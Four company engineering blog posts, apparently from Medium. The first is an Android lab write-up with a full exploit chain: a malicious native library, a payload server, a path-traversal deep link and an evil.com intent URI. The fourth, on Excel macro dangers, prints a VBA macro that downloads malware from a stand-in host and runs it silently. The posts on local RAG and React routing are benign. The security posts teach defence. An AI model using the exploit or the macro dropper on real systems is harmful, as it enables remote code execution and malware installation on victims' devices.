In the Android ecosystem, some apps load native libraries (.so files) dynamically at runtime to enable additional features such as premium functionality, plugin systems, or performance-critical modules. While this pattern is common and legitimate, it introduces a serious attack surface when the library is loaded from a writable, predictable path without integrity verification.

What is Native Library Hijacking?

Native library hijacking occurs when an attacker replaces or plants a malicious shared object (.so) file in a location where an app expects to load a legitimate library. When the app calls System.load() on the tampered file, the attacker's code executes with the app's full privileges, achieving Remote Code Execution (RCE).

This becomes especially dangerous when combined with other vulnerabilities, such as path traversal in file download handlers. An attacker who can write arbitrary files to the app’s internal storage can plant a malicious library that will be loaded on the next app launch without any user interaction beyond clicking a link.

The Unsafe Loading Pattern

Some Android apps implement a “pro features” pattern where additional functionality is loaded at runtime from a native library stored in the app’s internal directory. If this library path is predictable and writable, and the app does not verify the file’s integrity before loading, it becomes a prime target for hijacking.

Sample Case

The app’s MainActivity is exported and handles VIEW intents for PDF files via deep links:

<activity android:exported="true"
    android:name="com.mobilehackinglab.documentviewer.MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="file"/>
        <data android:scheme="http"/>
        <data android:scheme="https"/>
        <data android:mimeType="application/pdf"/>
    </intent-filter>
</activity>

Any app or browser can trigger this activity with a crafted URI, and the app will attempt to download and save the file.

The Vulnerable Native Library Load

private final void loadProLibrary() {
    String abi = Build.SUPPORTED_ABIS[0];
    File libraryFolder = new File(getApplicationContext().getFilesDir(),
        "native-libraries/" + abi);
    File libraryFile = new File(libraryFolder, "libdocviewer_pro.so");
    System.load(libraryFile.getAbsolutePath());
    this.proFeaturesEnabled = true;
}

The app loads a native library from a predictable, writable path: <filesDir>/native-libraries/<abi>/libdocviewer_pro.so. There is no signature check, no hash verification; whatever file exists at that path will be loaded and executed. This is the hijack target.

The Path Traversal Enabler

public final MutableLiveData<Uri> copyFileFromUri(Uri uri) {
    URL url = new URL(uri.toString());
    String lastPathSegment = uri.getLastPathSegment();
    if (lastPathSegment == null) {
        lastPathSegment = "download.pdf";
    }
    File outFile = new File(DOWNLOADS_DIRECTORY, lastPathSegment);
    // ... downloads url contents to outFile
}

The copyFileFromUri method uses Uri.getLastPathSegment() directly as the output filename. This is dangerous because getLastPathSegment() decodes percent-encoding, meaning %2F becomes /, enabling path traversal out of the Downloads directory and into the app's internal storage where the native library resides.

The Attack Chain

The vulnerability chains two weaknesses:

1. Path Traversal — Uri.getLastPathSegment() decodes %2F to /, allowing directory traversal from the Downloads folder into the app's internal storage
2. Unsafe Native Library Loading — System.load() loads from a predictable writable path without integrity verification

Combined, an attacker can plant a malicious native library via a crafted deep link, achieving Remote Code Execution on the next app launch.

Sample Attack

Step 1: Create the Malicious Library

#include <jni.h>
#include <stdio.h>
#include <unistd.h>
#include <android/log.h>

#define TAG "PWNED"

JNIEXPORT jint JNI_OnLoad(JavaVM *vm, void *reserved) {
    __android_log_print(ANDROID_LOG_ERROR, TAG,
        "=== RCE ACHIEVED - libdocviewer_pro.so loaded ===");
    __android_log_print(ANDROID_LOG_ERROR, TAG,
        "UID: %d, PID: %d", getuid(), getpid());

    FILE *f = fopen("/data/data/com.mobilehackinglab.documentviewer"
                    "/files/pwned.txt", "w");
    if (f) {
        fprintf(f, "RCE achieved via path traversal\n");
        fprintf(f, "UID: %d, PID: %d\n", getuid(), getpid());
        fclose(f);
    }
    return JNI_VERSION_1_6;
}

The purpose of the code above is to create a native library that generates a /files/pwned.txt file in the /data/data/com.mobilehackinglab.documentviewer directory.

Compile for arm64-v8a:

$NDK/aarch64-linux-android33-clang -shared -o libdocviewer_pro.so pwned.c -llog

Step 2: Start the Exploit Server

A custom server is needed because standard HTTP servers decode %2F in the URL path and return 404. This server ignores the requested path and always serves the payload:

#!/usr/bin/env python3
import http.server, os

SO_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                       "libdocviewer_pro.so")

class ExploitHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        with open(SO_FILE, "rb") as f:
            payload = f.read()
        self.send_response(200)
        self.send_header("Content-Type", "application/pdf")
        self.send_header("Content-Length", str(len(payload)))
        self.end_headers()
        self.wfile.write(payload)

if __name__ == "__main__":
    server = http.server.HTTPServer(("0.0.0.0", 8888), ExploitHandler)
    print(f"Exploit server on :8888")
    server.serve_forever()

Step 3: Trigger the Deep Link

HOST_IP="192.168.1.5"

adb shell am start -a android.intent.action.VIEW \
  -t "application/pdf" \
  -d "http://${HOST_IP}:8888/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Flibdocviewer_pro.so" \
  com.mobilehackinglab.documentviewer

What happens internally:

1. Android routes the intent to MainActivity (matches VIEW + application/pdf)
2. handleIntent() passes the URI to CopyUtil.copyFileFromUri()
3. uri.getLastPathSegment() decodes the percent-encoded path → ../../../../data/data/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/libdocviewer_pro.so
4. new File("/storage/emulated/0/Download", decodedSegment) resolves ../ at the OS level, traversing into the app's internal storage
5. The coroutine downloads from our server and writes the malicious .so to the target path

Step 4: Trigger Code Execution

Force-stop the app and relaunch it. The planted library will be loaded by System.load():

adb shell am force-stop com.mobilehackinglab.documentviewer
adb logcat -c
adb shell am start -n com.mobilehackinglab.documentviewer/.MainActivity
sleep 3
adb logcat -d | grep "PWNED"

Step 5: Verify Proof of Exploitation

Open the /files/pwned.txt file that was created by the native library earlier.

adb shell "run-as com.mobilehackinglab.documentviewer \
  cat /data/data/com.mobilehackinglab.documentviewer/files/pwned.txt"

Real-World Attack Scenario

In a real-world scenario (without ADB), an attacker would:

1. Host the malicious .so on a public server with the custom handler
2. Craft an intent URI and embed it in a webpage or phishing message:

intent://evil.com/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Flibdocviewer_pro.so#Intent;scheme=https;type=application/pdf;package=com.mobilehackinglab.documentviewer;end

3. Victim clicks the link in their browser, the app opens, and downloads the .so

4. Next time the victim opens Document Viewer normally, the attacker's code executes

No root, Frida, or physical access required. A single click plants the payload; a normal app launch triggers it.

Secure Patterns

The following code examples demonstrate how to prevent each component of this attack chain.

Safe Filename Extraction

Never use Uri.getLastPathSegment() directly as a filename. Strip directory separators and reject traversal sequences:

private String sanitizeFilename(Uri uri) {
    String segment = uri.getLastPathSegment();
    if (segment == null) return "download.pdf";

    // Strip any path separators (both encoded and decoded)
    String filename = segment.replace("/", "")
                             .replace("\\", "")
                             .replace("..", "");

    // Additional safety: take only the last component
    int lastSep = filename.lastIndexOf(File.separatorChar);
    if (lastSep >= 0) {
        filename = filename.substring(lastSep + 1);
    }

    return filename.isEmpty() ? "download.pdf" : filename;
}

Canonical Path Validation

Before writing any file, verify the resolved path stays within the intended directory:

private File safeResolve(File baseDir, String filename) throws IOException {
    File target = new File(baseDir, filename);
    String canonicalBase = baseDir.getCanonicalPath();
    String canonicalTarget = target.getCanonicalPath();

    if (!canonicalTarget.startsWith(canonicalBase + File.separator)) {
        throw new SecurityException(
            "Path traversal detected: " + filename);
    }
    return target;
}

Integrity Verification Before Loading

If native libraries must be loaded from writable storage, verify their integrity first:

private void loadVerifiedLibrary(File libraryFile, String expectedSha256) {
    if (!libraryFile.exists()) {
        Log.w(TAG, "Pro library not found, skipping");
        return;
    }

    String actualHash = sha256(libraryFile);
    if (!actualHash.equals(expectedSha256)) {
        libraryFile.delete();
        throw new SecurityException(
            "Library integrity check failed — file deleted");
    }

    System.load(libraryFile.getAbsolutePath());
}

private String sha256(File file) {
    try (InputStream is = new FileInputStream(file)) {
        MessageDigest digest = MessageDigest.getInstance("SHA-256");
        byte[] buffer = new byte[8192];
        int read;
        while ((read = is.read(buffer)) != -1) {
            digest.update(buffer, 0, read);
        }
        byte[] hash = digest.digest();
        StringBuilder hex = new StringBuilder();
        for (byte b : hash) {
            hex.append(String.format("%02x", b));
        }
        return hex.toString();
    } catch (Exception e) {
        return "";
    }
}

Preferred: Ship Libraries in the APK

The safest approach is to avoid writable paths entirely. Native libraries shipped in the APK’s lib/ directory are protected by the package manager and verified at install time:

// Safe: loaded from APK's lib/ directory, not writable by the app
static {
    System.loadLibrary("docviewer_pro");
}

Conclusion

This example demonstrates how combining two seemingly low-severity issues, an unsanitized filename from a deep link handler and a predictable native library load path, results in a critical Remote Code Execution vulnerability. Developers should sanitize all URI-derived filenames, validate canonical paths before writing, verify integrity before loading native code, and prefer shipping libraries within the APK itself.

References:

• Mobile Hacking Lab — Document Viewer
• OWASP Mobile Application Security — Testing Deep Links
• Android Path Traversal
• Mobile Hacking Lab – Hacking Labs

It’s a Trap: Defeating Android Native Library Hijacking was originally published in DKatalis on Medium, where people are continuing the conversation by highlighting and responding to this story.

The Privacy Dilemma in the Age of AI

Today, interacting with AI feels seamless: type a question, receive an insightful answer. But for those of us working with sensitive technical documentation, organizational confidential information, or proprietary research, that convenience carries a hidden cost: data exposure.

If I can’t verify where my data goes, how it’s stored, or who might access it, should I share it?

Every prompt sent to a cloud-based LLM introduces risk. Even with strong privacy policies, you’re ultimately trusting a third party with:

• The raw content of your documents
• Your query patterns and areas of intellectual focus
• Metadata that could reveal project timelines, system architectures, or security postures

As someone who regularly handles confidential materials and unpublished technical writing, I couldn’t accept that trade-off. This isn’t me being paranoid; it’s a documented compliance and security concern grounded in real-world threat models.

The Case for Data Sovereignty

Trust Boundaries Matter

Retrieval-Augmented Generation (RAG) enhances LLMs by connecting them to external knowledge sources. While RAG is privacy-respecting by design (keeping data separate from model weights), the deployment architecture ultimately determines whether your information stays truly private.

Cloud AI APIs offer tremendous power, but they operate outside your control perimeter. When you upload a document to a managed RAG service, you implicitly accept that:

• You don’t control data retention or deletion policies
• You can’t audit how embeddings are generated, stored, or potentially reused
• You rely on the provider’s security posture, not your own

For my work in cybersecurity, that lack of visibility wasn’t just uncomfortable; it was a hard blocker.

Compliance, Control, and Offline Access

Beyond personal preference, there are practical scenarios where local AI is essential:

• Data residency requirements: Some projects mandate that data never leaves a specific machine or network
• Air-gapped environments: Security research often happens on isolated systems
• Long-term reproducibility: Local models and vectors ensure your RAG pipeline behaves consistently over time
• Cost predictability: No API calls means no surprise bills or rate limits

My Personal Threshold

I’m not anti-cloud. I use managed services when they make sense. But for knowledge work involving sensitive or unpublished material, my rule is simple:

“If the data shouldn’t be public, it shouldn’t leave my machine.”

That principle drove every architectural decision in my RAG pipeline.

The Solution: A Local-First RAG Architecture

Here’s the stack I assembled to keep intelligence local without sacrificing capability:

Core Components

| Component | Technology | Purpose |
|-----------|------------|---------|
| **LLM** | Ollama (Mistral) | Local inference, zero API calls |
| **Embeddings** | Ollama (nomic-embed-text) | 768-dimensional vectors, generated locally |
| **Vector Store** | PostgreSQL + PGVector | Persistent, queryable document storage |
| **Document Processing** | Docling | PDF, Word, PowerPoint, Excel, HTML conversion |
| **Interfaces** | FastAPI Web UI + CLI | Flexible access methods |
| **Agent Framework** | PydanticAI | Structured RAG orchestration |

Architecture Overview

┌─────────────────────────────────────────────────────────┐
│                      USER INTERFACES                    │
│  ┌─────────────────────┐           ┌─────────────────┐  │
│  │   Web Interface     │           │   CLI Interface │  │
│  │   (FastAPI + HTML)  │           │  (Python async) │  │
│  └──────────┬──────────┘           └────────┬────────┘  │
└─────────────┼───────────────────────────────┼────────────┘
              │                               │
              └─────────────┬─────────────────┘
                            │
              ┌─────────────▼───────────────────┐
              │       RAG Agent Core            │
              │  ┌───────────────────────────┐  │
              │  │ PydanticAI Agent          │  │
              │  │ + search_knowledge_base() │  │
              │  └───────────────────────────┘  │
              └─────────────┬───────────────────┘
                            │
         ┌──────────────────┼──────────────────┐
         │                  │                  │
┌────────▼────────┐  ┌──────▼───────┐  ┌──────▼───────┐
│  Embeddings     │  │    LLM       │  │  PostgreSQL  │
│  (Ollama)       │  │  (Ollama)    │  │  + PGVector  │
│  [Local]        │  │  [Local]     │  │  [Local]     │
└─────────────────┘  └──────────────┘  └──────────────┘

Key Design Decisions

1. Ollama over OpenAI API
   Running Mistral locally via Ollama means no API keys, no usage tracking, and no data leaving my machine. The trade-off is slightly slower inference, but for my use case, privacy wins.
2. PGVector for Vector Storage
   PostgreSQL with the PGVector extension provides a battle-tested database with built-in vector similarity search. I control retention, backups, and access policies.
3. Document Processing with Docling
   Docling handles the messy work of converting PDFs, Office documents, and HTML into clean markdown — entirely offline.
4. Dual Interfaces

• CLI for quick terminal queries and SSH access
• Web UI for file uploads, visual browsing, and web crawling

What This Enables

✅ Query my internal documentation without leaving my network
✅ Process sensitive security reports with full auditability
✅ Transcribe audio recordings (via local Whisper) and search them
✅ Crawl documentation sites and keep everything local
✅ Maintain conversation context across sessions
✅ Get source citations for every response

Zero egress. Zero rate limits. Zero third-party visibility.

Is Local RAG Right for You?

Before diving into implementation, here’s a quick self-assessment:

1. Local RAG is a good fit if:

• You handle sensitive, confidential, or unpublished data
• You have compliance or data residency requirements
• You want full control over your AI stack
• You’re comfortable managing your own infrastructure

2. Cloud APIs may suffice if:

• You’re prototyping or learning
• Your data is already public
• You prioritize convenience over control
• You need state-of-the-art model capabilities

For my work in cybersecurity, local RAG wasn’t just preferable. It was necessary.

Implementation Highlights

Here’s a look at the core implementation details that make local RAG possible:

Database Schema

The PGVector schema stores documents and their embeddings:

-- Chunks table with 768-dimensional embeddings
CREATE TABLE chunks (
    id UUID PRIMARY KEY,
    document_id UUID REFERENCES documents(id),
    content TEXT,
    embedding vector(768),
    chunk_index INTEGER
);

-- Vector similarity search function
CREATE FUNCTION match_chunks(
    query_embedding vector(768),
    match_count INTEGER DEFAULT 5
) RETURNS TABLE(...)

Environment Configuration

# Point OpenAI-compatible clients to Ollama
OPENAI_API_KEY=ollama
OPENAI_BASE_URL=http://localhost:11434/v1

# Local models
LLM_CHOICE=mistral
EMBEDDING_MODEL=nomic-embed-text

# Local PostgreSQL
DATABASE_URL=postgresql://user:password@localhost:5432/rag_db

Performance Optimizations

• Database connection pooling (min_size=2, max_size=10)
• Embedding cache for frequently searched queries
• Token-by-token streaming for immediate feedback

Example Workflow

Here’s what querying the RAG agent looks like in practice:

$ uv run python cli.py

> "What are the authentication requirements for the client portal?"

Searching knowledge base... [3 matches found]

Based on the security assessment documentation, the client portal requires:

1. Multi-factor authentication (MFA) for all user accounts
2. Session timeout after 15 minutes of inactivity
3. Password complexity: minimum 14 characters with special characters

Sources:
- security-assessment-2025.pdf (page 12)
- client-portal-requirements.md (section 3.2)

All of this happens locally — no data leaves the machine.

Trade-Offs and Limitations

Building a local RAG pipeline isn’t without compromises. There are several trade-offs to consider:

• Hardware requirements: Need sufficient RAM and CPU (GPU recommended for larger models)
• Model capability: Local models may not match GPT-4 level reasoning
• Setup complexity: More initial configuration than API-based solutions
• Maintenance: You’re responsible for updates, backups, and monitoring

For my threat model and use case, these trade-offs are acceptable. Your mileage may vary.

Getting Started

If you want to replicate this setup, the project is available on GitHub:

• Repository: rag-agent
• Documentation: https://n4igme.github.io/randscript/rag-agent/

Key prerequisites:

• Python 3.10+
• PostgreSQL with PGVector extension
• Ollama installed locally
• System libraries for audio processing (`libopus`, `opusfile`)

Helpful resources:

• Docling — Document processing pipeline
• PydanticAI — Agent framework

Final Thoughts

Building a local RAG pipeline taught me that privacy-preserving AI is entirely achievable today. The tools exist — Ollama, PGVector, Docling, PydanticAI—and they’re mature enough for production use.

The question isn’t whether local AI is capable. It’s whether you’re willing to invest the effort to keep your data under your control.

For me, that answer was clear: If the data shouldn’t be public, it shouldn’t leave my machine.

Never miss updates on what DKatalis amazing tech team works on! Follow us.

Privacy-Preserving AI: My Journey to a Self-Hosted RAG Pipeline was originally published in DKatalis on Medium, where people are continuing the conversation by highlighting and responding to this story.

Bad code doesn’t just sit there quietly — it actively fights you every step of the way, turning simple changes into archaeological expeditions where you’re left asking, “Why does it look like this?”

React Router had me trapped in routing purgatory for three years, watching my layouts become a monstrous, Venom-like symbiote with props drilled through components like some twisted symbiote hive mind. Every route felt like another layer of hell I’d created for myself. Then I found the pattern that made it all effortless — and honestly, I’m still processing how long I suffered while the solution was basically right in front of my face the whole time.

In this article, I want to share how the People Xperience Development Team of DKatalis managed to escape from that nightmare, pursuing a better development process✨

The Moment We Knew We Were Doomed

We knew we had a problem when the mere suggestion of a new route during sprint planning caused a collective groan. We knew what was coming: agonizing prop drilling, fragile conditional checks, and inevitable layout breaks. It was like asking one hero to have all the powers — Iron Man’s tech, Doctor Strange’s magic, Spider-Man’s agility — and somehow make it work. We all know how that would turn out.

For the past three years, we were relying on a single “God Layout” to handle every conceivable UI configuration. The result wasn’t pretty; it was a monstrosity.

This was the props we had, and trust me, it’s as bad as you think:

interface PXRouteProps {
  profile?: string;
  featureVersion?: string;
  isHiddenFeature?: boolean;
  path?: string;
  name: string;
  icon?: ReactNode;
  component?: ReactNode;
  actionComponent?: ReactNode;
  titleComponent?: ReactNode;
  secondarySection?: ReactNode;
  thirdSection?: ReactNode;
  layout?: string;
  state?: string;
  category?: string;
  views?: PXRoute[];
  secondaryNavbar?: boolean;
  module?: string;
  permission?: string;
  entityBased?: boolean;
  tags?: string[];
  isPageOnly?: boolean;
  showBackButton?: boolean;
  backURL?: string;
  exitConfirmation?: boolean;
  moduleName?: string;
  useBreadcrumbs?: boolean;
  useScreenHeight?: boolean;
  layoutMaxWidth?: ResponsiveValue<
    number | string | 'sm' | 'base' | 'md' | 'lg' | 'xl' | '2xl'
  >;
  headerPadding?: PXInsets;
  bodyPadding?: PXInsets;
  profilePredicate?: (userProfile?: UserProfile) => boolean;
  isCompanyLocked?: boolean;
  onAddMode?: boolean;
  useTreeview?: boolean;
  treeviewEntryPoint?: boolean;
  treeviewName?: string;
  treeviewMainComponent?: ReactNode;
  treeviewHeaderComponent?: ReactNode;
}

Yep, you read that right: a 35+ props for the route. But that interface was just the unassuming host body. The real horror was the single layout component underneath: a 400+ line symbiote that had mutated from a simple container into a Venom-esque monstrosity. It checked every prop, rendered every conditional, and handled every edge case. Trying to add a new route meant deciphering those 35 props and praying you didn’t anger the beast by creating another “special case.”

The Escape Route from Routing Purgatory

After three years of suffering, we finally found it: the pattern that made layouts effortless. The solution wasn’t about adding more props or creating more “special cases.” It was about doing the opposite: simplifying, standardizing, and letting React Router do what it does best.

The key? Separating concerns. Instead of one layout trying to handle everything, we created a system where each route could define its own layout needs without turning our component into a configuration nightmare.

Here’s what our routing structure looks like now:

This simple shift changed everything. No more 35+ props, conditional rendering hell, or “special cases.” Just clean, predictable, maintainable code.

How We Burned It Down and Rebuilt from the Ashes

So we had this 35+ prop monster, and we knew we had to kill it. But how do you kill a monster that’s been growing for three years? You don’t patch it. You don’t add more props. You burn it down and rebuild from scratch.

Here’s how we did it — step by step, like Tony Stark rebuilt his suit after every battle to make it better.

Step 1: Define the Layout Types and the rules

First, we identified what we actually needed. Instead of 35+ props for switching a single layout, we defined clear layout types:

1. Authentication: the first step before entering the real features. This defines every authentication need. This needs to be separated to perform concern separation and focus on handling each.
2. Core: the real stars. This layout configs the true face of our web page. This is basically the general configurations for most every feature with consistent spacing.

3. No content padding: supposed to be like the Core layout, but without padding. This gives other developers free will to have their content with maximum space

4. Blank: just blank. That’s it. I mean, literally, it’s just a blank layout without an app bar, no sidebar. Nothing. Perfect for utility or errors. Also, developers can configure the entire space and configure their own interactions.

Step 2: The Route Tree

Once we identified the layout types, we designed the route tree structure. This is what beautiful routing looks like: clean, predictable, maintainable. This structure also establishes hard technical boundaries that prevent undetected routes.

Do not cross the 2nd generation after the main layout; or else your routes will go undetected, forcing you to add more configurations and undoing everything we built.

The actual implementations will look like this:

pxRouter
└── path: "/"
    └── element: <Fonts/> + <Providers> + <Outlet/>
        └── children: appLayouts[]
            ├── root
            │   ├── name: "root"
            │   └── path: "/"
            ├── authLayout
            │   ├── name: "Authentication"
            │   ├── element: <Outlet/>
            │   └── children: [auth pages...]
            ├── coreLayout
            │   ├── name: "Core"
            │   ├── element: <PXSuspense> + <PXFeatureWrapper usePadding/>
            │   └── children: [px features...]
            ├── noContentPaddingLayout
            │   ├── name: "No Content Padding"
            │   ├── element: <PXSuspense> + <PXFeatureWrapper/>
            │   └── children: [px features...]
            └── blankLayout
                ├── name: "Blank"
                ├── element: <PXSuspense> + <Outlet/>
                └── children: [error/utility modules...]

Step 3: Making the main layouts

This is where the boring stuff happens. We basically configure the base where we can do everything with minimum requirements. Based on the structure, the code will look like this:

const authPages: PXRouteObject[] = [ ... ];
export const authLayout: PXRouteObject = {
  name: 'Authentication',
  element: <Outlet />,
  children: authPages,
};

export const blankLayout: PXRouteObject = {
  name: 'Blank',
  element: (
    <PXSuspense>
      <Outlet />
    </PXSuspense>
  ),
  children: [notFoundPage],
};

const corePages: PXRouteObject[] = [ ... ];
export const coreLayout: PXRouteObject = {
  name: 'Core',
  element: (
    <PXSuspense>
      <Guard>
        <PXFeatureWrapper usePadding />
      </Guard>
    </PXSuspense>
  ),
  children: corePages,
};

const noContentPaddingPages: PXRouteObject[] = [ ... ];
export const noContentPaddingLayout: PXRouteObject = {
  name: 'No Content Padding',
  element: (
    <PXSuspense>
      <Guard>
        <PXFeatureWrapper />
      </Guard>
    </PXSuspense>
  ),
  children: noContentPaddingPages,
};

Straightforward, minimum configurations, and easy to use. Perfect✨

Step 4: Making the New Concept with New Props

With the route tree structure in mind, we created a new route configuration that was clean and simple:

type PXRouteObject = RouteObject & {
  icon?: ReactNode;
  children?: PXRouteObject[];
  name: string;
  showInSidebar?: boolean;
  featureVersion?: string;
  permission?: string;
}

Instead of handling infinite possibilities in a single props, we just have to contain what we need to maintain on the route side. And let the layout configure what they need.

For instance, configurations for breadcrumbs or the extra sidebar can be configured independently — no need for them to come from the routes

Step 5: Implementation

Finally, we implemented the new system:

1. Make a new router

The example I would give is Custom Dashboard Routes. Here, the parent looks like:

const customDashboardRoutes: PXRouteObject[] = [
  categoryListModuleRouter,
  ...categoryModuleRouters,
];

export const customDashboardModuleRouter: PXRouteObject = {
  name: 'Custom Dashboard',
  permission: PERMISSION_MODULE,
  children: customDashboardRoutes,
  icon: <LinkManagementIcon boxSize={'20px'} color="color.icon.rest" />,
  showInSidebar: true,
};

Then, on the other file, we have the list module:

export const categoryListModuleRouter: PXRouteObject = {
  name: 'Category',
  path: linkManagementRoutes.list,
  permission: LIST_PERMISSION,
  showInSidebar: true,
  entityBased: true,
  element: (
    <PXSuspense>
      <PXBase
        title={'Category'}
        breadcrumbName={'Custom Dashboard'}
        actionButton={<AddCategoryButton />}
      >
        <CategoryListPage />
      </PXBase>
    </PXSuspense>
  ),
};

Simple enough to make a new route, right? What if we have breadcrumbs configurations? Well, take a look at this one:

const RenderAddEditCategoryPage = memo(({ isEdit }: { isEdit: boolean }) => {
  const { setBreadcrumbs } = useBreadcrumbViewModel();

  useEffect(() => {
    setBreadcrumbs([
      { label: 'Link', target: linkManagementRoutes.builder.link.link() },
    ]);

    return () => setBreadcrumbs([]);
  }, []);

  return (
    <PXSuspense>
      <PXBase
        title={isEdit ? 'Edit Category' : 'Add Category'}
        breadcrumbName={'Custom Dashboard'}
        titleComponent={<LinkCategoryPageTitle isEdit={isEdit} />}
      >
        <AddEditLinkCategoryPage />
      </PXBase>
    </PXSuspense>
  );
});

const addCategoryModuleRouter: PXRouteObject = {
  name: 'Add Category',
  path: linkManagementRoutes.add,
  permission: CREATE_PERMISSION,
  entityBased: true,
  element: <RenderAddEditCategoryPage isEdit={false} />,
};

const editCategoryModuleRouter: PXRouteObject = {
  name: 'Edit Category',
  path: linkManagementRoutes.edit,
  permission: EDIT_PERMISSION,
  entityBased: true,
  element: (
    <PXSuspense>
      <PXBase
        title={'Edit Category'}
        breadcrumbName={'Custom Dashboard'}
        titleComponent={<LinkCategoryPageTitle isEdit />}
      >
        <RenderAddEditCategoryPage isEdit={true} />
      </PXBase>
    </PXSuspense>
  ),
};

export const categoryModuleRouters = [
  addCategoryModuleRouter,
  editCategoryModuleRouter,
];

Easy to read, right? That’s the real code right there!

2. Register the routers

After those configurations, simply put the parent in the layout you need. For example, the Custom Dashboard belongs to Core. So, just put it like this:

const corePages: PXRouteObject[] = [
  customDashboardModuleRouter,
];
export const coreLayout: PXRouteObject = {
  name: 'Core',
  element: (
    <PXSuspense>
      <Guard>
        <PXFeatureWrapper usePadding />
      </Guard>
    </PXSuspense>
  ),
  children: corePages,
};

And that’s all. The routes are well configured🎉

From Nightmare to Dream: Conclusion

The nightmare is over. The dream is real. And it only took us three years to figure it out.

“Make it work, make it right, make it fast.”

- Kent Beck

Today: Four layout types, one prop per route, zero fear. We didn’t just fix our routing — we made it beautiful. Self-documenting. Effortless. The kind of code that makes you smile instead of cry.

If you want to know more about PX, let’s connect on my LinkedIn or visit the PX official website 🚀

If reading about deconstructing a “God Component” got you excited rather than terrified, you’re exactly the type of senior engineer we’re looking for. Come help us build robust, maintainable code.

The 3-Year Routing Mistake That Festered Under the Rug was originally published in DKatalis on Medium, where people are continuing the conversation by highlighting and responding to this story.

Microsoft Excel is like a Swiss Army knife.

It’s powerful, flexible, and used almost everywhere, from financial reports to project tracking. It helps us save time with smart features like Excel Macros, also known as VBA (Visual Basic for Applications).

However, while macros automate repetitive tasks, they can also open the door to serious cybersecurity threats, especially when used carelessly or maliciously.

Why Can Excel Macros Be Dangerous?

1. They Can Hide Malware

Cybercriminals love macros because they can embed malicious code inside Excel files. Imagine unconsciously adding codes that can:

• Download ransomware or trojans onto your system.
• Silently steal sensitive data and send it elsewhere.
• Allow remote attackers to take over your device.

It might look like a normal spreadsheet, but under the hood, it could be doing far more than you think.

2. They Rely on Trust and Tricking You

Most macro-based attacks depend on social engineering. In other words, tricking you into enabling macros.

For example:

“To view this invoice, please enable macros.”

Sounds innocent, right? But clicking that button could silently unleash malware in the background.

Attackers often disguise these files as invoices, resumes, or reports to lure you in.

3. Many People Don’t Know the Risks

Let’s be honest, how often do we think twice before enabling a macro if the file looks legitimate?

That lack of awareness is exactly what attackers rely on.

Real-World Examples of Macro Attacks

• Emotet Malware
  Spread via malicious Excel macros, stealing credentials and banking data.
• Qbot (QakBot)
  Uses macros to infect systems and spread across networks.
• Locky Ransomware
  Delivered via macro-enabled documents, encrypting files for ransom.

Example of Malicious VBA Code in Excel Macros

Here’s a common example of how attackers use VBA macros for malicious purposes:

Malware Download & Execution

Sub Auto_Open()  
    Dim maliciousURL As String  
    Dim savePath As String  
    Dim shellCommand As String  

    ' URL to download malware (e.g., ransomware, spyware)  
    maliciousURL = "http://malicious-site.com/virus.exe"  
    
    ' Path to save the downloaded file (e.g., Temp folder)  
    savePath = Environ("TEMP") & "\update.exe"  

    ' Download the malware  
    Dim WinHttpReq As Object  
    Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")  
    WinHttpReq.Open "GET", maliciousURL, False  
    WinHttpReq.Send  

    ' Save the downloaded file  
    Dim oStream As Object  
    Set oStream = CreateObject("ADODB.Stream")  
    oStream.Open  
    oStream.Type = 1  
    oStream.Write WinHttpReq.ResponseBody  
    oStream.SaveToFile savePath, 2  
    oStream.Close  

    ' Execute the malware silently  
    shellCommand = savePath  
    Shell shellCommand, vbHide  

    ' Show a fake message to avoid suspicion  
    MsgBox "Document formatting updated successfully!", vbInformation  
End Sub  

What this script does:

1. Auto-executes
   Runs automatically when the Excel file is opened (if macros are enabled).
2. Downloads malware
   Retrieves a malicious .exe file from a remote server.
3. Saves & runs the malware
   Stores the file in the Temp folder and executes it silently.
4. Displays a fake message
   Tricks the user into thinking the macro performed a legitimate action.

How to Detect It?

There are several effective ways to detect malicious activity in macro-enabled Office files:

1. Use OLETools
   OLETools is a powerful Python package for extracting and analyzing VBA macros from Office files. It helps identify suspicious code like automatic execution (Auto_Open), file downloads, and shell commands.
2. Try Oleid
   Oleid is a lightweight pre-analysis tool that quickly identifies potential indicators of risk in OLE files, such as the presence of macros, packers, and unusual streams.
3. Use ViperMonkey
   ViperMonkey is a VBA emulation engine that analyzes and simulates the execution of obfuscated or complex macros. It’s especially useful for understanding what a macro will do, without actually running it inside Excel.

Below is an example of how to analyze the malicious macro shown earlier using the OLETools.

Note: while these tools are highly effective at identifying suspicious macro activity, they are not a silver bullet. Further manual analysis and context are often required to confidently determine whether a file is safe or malicious.

How You Can Protect Yourself (and Others)

1. Keep Macros Disabled by Default

Unless absolutely necessary:

• Go to: File → Options → Trust Center → Trust Center Settings → Macro Settings
• Select “Disable all macros with notification” at minimum.

2. Only Enable Macros from Trusted Sources

If you’re not sure where the file came from, don’t enable macros.

Always verify the source. If it seems suspicious, it probably is.

3. Consider Safer Automation Alternatives

You don’t always need macros. Instead, try:

• Power Query
• Office Scripts (for Excel on the web)

These options are generally safer and easier to manage.

4. Keep Software Up-to-Date

Patches matter. Regularly update:

• Microsoft Office
• Your operating system

This helps close known security gaps.

5. Raise Awareness in Your Team

Most macro attacks work because someone unknowingly clicks “Enable.”
Run brief cybersecurity awareness sessions and promote a “Think Before You Click” culture in your team.

Final Thoughts

While Excel macros can be powerful tools for automation, they also pose serious security risks when misused. Cybercriminals frequently exploit VBA macros to deliver malware, steal data, and execute attacks silently. They often rely on users to unknowingly enable these dangerous scripts.

By understanding how malicious macros work, recognizing the signs of an attack, and adopting safe practices like disabling macros by default, verifying file sources, and exploring safer alternatives, we can significantly reduce the risk of macro-based threats.

Security starts with awareness. Stay alert, think before you click, and help build a cybersecurity-conscious culture in your organization.

DKatalis is hiring enthusiastic, brilliant talents from all around the world! Interested? Grab your opportunities here.

The Hidden Dangers of Excel Macros was originally published in DKatalis on Medium, where people are continuing the conversation by highlighting and responding to this story.

